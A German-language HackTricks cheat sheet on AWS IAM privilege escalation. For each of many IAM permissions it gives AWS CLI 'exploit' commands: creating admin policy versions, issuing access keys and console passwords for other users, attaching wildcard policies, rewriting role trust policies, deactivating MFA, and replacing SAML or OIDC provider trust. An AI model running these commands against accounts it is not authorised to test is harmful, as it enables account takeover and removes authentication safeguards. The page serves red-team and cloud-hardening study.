AWS - IAM Privesc

Reading time: 8 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

IAM

Für mehr Informationen zu IAM siehe:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Ermöglicht das Erstellen einer neuen IAM-Policy-Version und umgeht die Notwendigkeit der Berechtigung iam:SetDefaultPolicyVersion, indem das --set-as-default Flag verwendet wird. Dadurch können benutzerdefinierte Berechtigungen definiert werden.

Exploit Command:

bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Auswirkung: Ermöglicht direkt eine Eskalation der Privilegien, da dadurch beliebige Aktionen auf beliebigen Ressourcen erlaubt werden.

iam:SetDefaultPolicyVersion

Ermöglicht das Ändern der Standardversion einer IAM-Richtlinie auf eine andere vorhandene Version, was unter Umständen zu einer Eskalation der Privilegien führen kann, wenn die neue Version mehr Berechtigungen enthält.

Bash-Befehl:

bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Auswirkung: Indirekte Privilegieneskalation durch das Ermöglichen zusätzlicher Berechtigungen.

iam:CreateAccessKey

Ermöglicht das Erstellen einer Access Key ID und eines Secret Access Key für einen anderen Benutzer, was zu potenzieller Privilegieneskalation führen kann.

Exploit:

bash
aws iam create-access-key --user-name <target_user>

Auswirkung: Direkte privilege escalation durch Übernahme der erweiterten Berechtigungen eines anderen Benutzers.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Ermöglicht das Erstellen oder Aktualisieren eines Anmeldeprofils, einschließlich des Festlegens von Passwörtern für die Anmeldung an der AWS-Konsole, was zu einer direkten privilege escalation führt.

Exploit for Creation:

bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit für Update:

bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Auswirkung: Direkte Privilegieneskalation durch Anmeldung als "any" Benutzer.

iam:UpdateAccessKey

Ermöglicht das Reaktivieren eines deaktivierten access key, was zu unbefugtem Zugriff führen kann, wenn der Angreifer im Besitz des deaktivierten access key ist.

Exploit:

bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Auswirkung: Direkte Privilegieneskalation durch Reaktivierung von access keys.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Ermöglicht das Generieren oder Zurücksetzen von credentials für bestimmte AWS-Dienste (z. B. CodeCommit, Amazon Keyspaces), wobei die Berechtigungen des zugehörigen Benutzers übernommen werden.

Exploit zur Erstellung:

bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>

Exploit für Reset:

bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Auswirkung: Direkte Privilegieneskalation innerhalb der Dienstberechtigungen des Benutzers.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Ermöglicht das Anhängen von Policies an Benutzer oder Gruppen und eskaliert dadurch direkt Rechte, indem die Berechtigungen der angehängten Policy übernommen werden.

Exploit für Benutzer:

bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit für Gruppe:

bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Auswirkung: Direkte Rechteeskalation auf alles, was die Richtlinie gewährt.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Ermöglicht das Anhängen oder Einfügen von Richtlinien an Rollen, Benutzer oder Gruppen und ermöglicht so eine direkte Rechteeskalation durch das Gewähren zusätzlicher Berechtigungen.

Exploit for Role:

bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit für Inline Policies:

bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Sie können eine Richtlinie wie folgt verwenden:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Auswirkung: Direkte Privilegieneskalation durch Hinzufügen von Berechtigungen über Policies.

iam:AddUserToGroup

Ermöglicht, sich selbst zu einer IAM-Gruppe hinzuzufügen und damit Privilegien zu eskalieren, indem die Berechtigungen der Gruppe übernommen werden.

Exploit:

bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impact: Direkte Privilegieneskalation auf das Niveau der Berechtigungen der Gruppe.

iam:UpdateAssumeRolePolicy

Ermöglicht das Ändern des assume role policy document einer Rolle, wodurch das Annehmen der Rolle und die Übernahme ihrer zugehörigen Berechtigungen möglich wird.

Exploit:

bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Wenn die Richtlinie wie folgt aussieht, die dem Benutzer die Berechtigung gibt, die Rolle anzunehmen:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Auswirkung: Direkte Privilegieneskalation durch das Übernehmen der Berechtigungen beliebiger Rollen.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Ermöglicht das Hochladen eines SSH-öffentlichen Schlüssels zur Authentifizierung bei CodeCommit und das Deaktivieren von MFA-Geräten, was zu einer potenziellen indirekten Privilegieneskalation führen kann.

Exploit für SSH Key Upload:

bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit für MFA-Deaktivierung:

bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Auswirkung: Indirekte privilege escalation durch Aktivierung des CodeCommit-Zugriffs oder Deaktivierung des MFA-Schutzes.

iam:ResyncMFADevice

Ermöglicht die Resynchronisierung eines MFA-Geräts und kann durch Manipulation des MFA-Schutzes potenziell zu einer indirekten privilege escalation führen.

Bash-Befehl:

bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Auswirkung: Indirekte Privilegieneskalation durch Hinzufügen oder Manipulieren von MFA-Geräten.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Mit diesen Berechtigungen kannst du die XML-Metadaten der SAML-Verbindung ändern. Dann könntest du die SAML federation missbrauchen, um einen login mit jeder role, die ihr vertraut, durchzuführen.

Beachte, dass dadurch legit users won't be able to login. Du könntest jedoch das XML erhalten, es durch dein eigenes ersetzen, login und die vorherige Konfiguration wiederherstellen.

bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

note

TODO: Ein Tool, das SAML metadata generieren kann und sich mit einer angegebenen role anmelden

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Unsicher darüber) Wenn ein attacker diese permissions hat, könnte er einen neuen Thumbprint hinzufügen, um sich in allen roles anzumelden, die dem provider vertrauen.

bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

Diese Berechtigung ermöglicht einem attacker, die permissions boundary eines Benutzers zu aktualisieren und dadurch möglicherweise dessen Privilegien zu eskalieren, indem Aktionen erlaubt werden, die normalerweise durch die bestehenden Berechtigungen eingeschränkt sind.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks